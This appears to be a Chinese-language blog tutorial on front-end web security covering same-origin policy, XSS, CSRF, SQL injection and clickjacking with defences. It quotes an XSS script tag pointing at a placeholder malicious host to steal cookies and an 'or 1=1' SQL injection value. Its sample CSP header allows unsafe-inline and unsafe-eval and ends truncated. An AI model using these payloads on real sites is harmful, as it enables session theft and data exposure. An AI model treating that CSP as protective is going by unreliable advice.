web前端安全以及防範措施

以下簡單介紹這幾種常見的 web 安全問題:

  • XSS
  • CSRF
  • SQL注入
  • 點擊劫持

 除了這個還有同源策略,下面先簡單說下這個

什麼是同源策略?
同源策略是瀏覽器的一個安全功能,不同源的客戶端腳本在沒有明確授權的情況下,不能讀寫對方資源。所以a.com下的js腳本採用ajax讀取b.com裏面的文件數據是會報錯的。

不受同源策略限制的:
1、頁面中的鏈接,重定向以及表單提交是不會受到同源策略限制的。
2、跨域資源的引入是可以的。但是js不能讀寫加載的內容。如嵌入到頁面中的<script src="..."></script>,<img>,<link>,<iframe>等。

“同源政策”是瀏覽器安全的基石,其設計目的是爲了保證信息安全,防止惡意的網站竊取數據。所謂“同源”必須滿足以下三個方面:

  1. 協議相同
  2. 域名相同
  3. 端口相同(默認端口是80,可以省略)

如果是非同源的,以下行爲會受到限制:

  • Cookie、LocalStorageIndexDB無法讀取
  • DOM無法獲取
  • AJAX請求不能發送

1:XSS,跨站腳本攻擊(Cross Site Scripting)

分爲三種類型:

存儲型 XSS 攻擊

利用漏洞提交惡意 JavaScript 代碼,比如在input, textarea等所有可能輸入文本信息的區域,輸入<script src="http://惡意網站"></script>等,提交後信息會存在服務器中,當用戶再次打開網站請求到相應的數據,打開頁面,惡意腳本就會將用戶的 Cookie 信息等數據上傳到黑客服務器。

反射型 XSS 攻擊

用戶將一段含有惡意代碼的請求提交給 Web 服務器,Web 服務器接收到請求時,又將惡意代碼反射給了瀏覽器端,這就是反射型 XSS 攻擊。 在現實生活中,黑客經常會通過 QQ 羣或者郵件等渠道誘導用戶去點擊這些惡意鏈接,所以對於一些鏈接我們一定要慎之又慎。

Web 服務器不會存儲反射型 XSS 攻擊的惡意腳本,這是和存儲型 XSS 攻擊不同的地方。

基於 DOM 的 XSS 攻擊

基於 DOM 的 XSS 攻擊是不牽涉到頁面 Web 服務器的。它的特點是在 Web 資源傳輸過程或者在用戶使用頁面的過程中修改 Web 頁面的數據。比如利用工具(如Burpsuite)掃描目標網站所有的網頁並自動測試寫好的注入腳本等。

預防策略:

  1. 將cookie等敏感信息設置爲httponly,禁止Javascript通過document.cookie獲得
  2. 對所有的輸入做嚴格的校驗尤其是在服務器端,過濾掉任何不合法的輸入,比如手機號必須是數字,通常可以採用正則表達式.
  3. 淨化和過濾掉不必要的html標籤,比如:<iframe>, alt,<script> ;淨化和過濾掉不必要的Javascript的事件標籤,比如:onclick, onfocus
  4. 轉義單引號,雙引號,尖括號等特殊字符,可以採用htmlencode編碼 或者過濾掉這些特殊字符
  5. CSP,CSP 全稱爲 Content Security Policy,即內容安全策略。主要以白名單的形式配置可信任的內容來源,在網頁中,能夠使白名單中的內容正常執行(包含 JS,CSS,Image 等等),而非白名單的內容無法正常執行,從而減少跨站腳本攻擊(XSS),當然,也能夠減少運營商劫持的內容注入攻擊。 配置方式:
//1、meta

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

//2、Http 頭部

Content-Security-Policy:
script-src 'unsafe-inline' 'unsafe-eval' 'self' *.54php.cn *.yunetidc.com *.baidu.com *.cnzz.com *.du

2:CSRF,跨站請求僞造(Cross-site request forgery)

什麼是CSRF攻擊?

CSRF(Cross-site request forgery跨站請求僞造,也被稱爲“One Click Attack”或者Session Riding,通常縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。其實就是網站中的一些提交行爲,被黑客利用,你在訪問黑客的網站的時候,進行的操作,會被操作到其他網站上(如:你所使用的網絡銀行的網站)。

發起 CSRF 攻擊的三個必要條件:

  1. 目標站點一定要有 CSRF 漏洞;
  2. 用戶要登錄過目標站點,並且在瀏覽器上保持有該站點的登錄狀態;
  3. 需要用戶打開一個第三方站點,如黑客的站點等

CSRF的防禦方式

  1. 檢測http referer是否是同域名,通常來講,用戶提交的請求,referer應該是來來自站內地址,所以如果發現referer中地址異常,那麼很可能是遭到了CSRF攻擊。

  2. 避免登錄的session長時間存儲在客戶端中。

  3. 關鍵請求使用驗證碼或者token機制。在一些十分關鍵的操作,比如交易付款環節。這種請求中,加入驗證碼,可以防止被惡意用戶攻擊。token機制也有一定的防禦作用。具體來說就是服務器每次返回客戶端頁面的時候,在頁面中埋上一個token字段,例如 <input type=“hidden” name=“csrftoken” value=“abcd">

    之後,客戶端請求的時候帶上這個token,使用這個機制後,攻擊者也就很難發起CSRF攻擊了。

3:SQL注入

拼接 SQL 時未仔細過濾,黑客可提交畸形數據改變語義。比如查某個文章,提交了這樣的數據id=-1 or 1=1等。1=1 永遠是true,導致where語句永遠是ture.那麼查詢的結果相當於整張表的內容,攻擊者就達到了目的。或者,通過屏幕上的報錯提示推測 SQL 語句等。

預防策略:

  1. 禁止目標網站利用動態拼接字符串的方式訪問數據庫
  2. 減少不必要的數據庫拋出的錯誤信息
  3. 對數據庫的操作賦予嚴格的權限控制
  4. 淨化和過濾掉不必要的SQL保留字,比如:where, or, exec 等

4:點擊劫持

  • 誘使用戶點擊看似無害的按鈕(實則點擊了透明 iframe 中的按鈕).
  • 監聽鼠標移動事件,讓危險按鈕始終在鼠標下方.
  • 使用 HTML5 拖拽技術執行敏感操作(例如 deploy key).

預防策略:

  1. 服務端添加 X-Frame-Options 響應頭,這個 HTTP 響應頭是爲了防禦用 iframe 嵌套的點擊劫持攻擊。 這樣瀏覽器就會阻止嵌入網頁的渲染。
  2. JS 判斷頂層視口的域名是不是和本頁面的域名一致,不一致則不允許操作,top.location.hostname === self.location.hostname
  3. 敏感操作使用更復雜的步驟(驗證碼、輸入項目名稱以刪除)。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章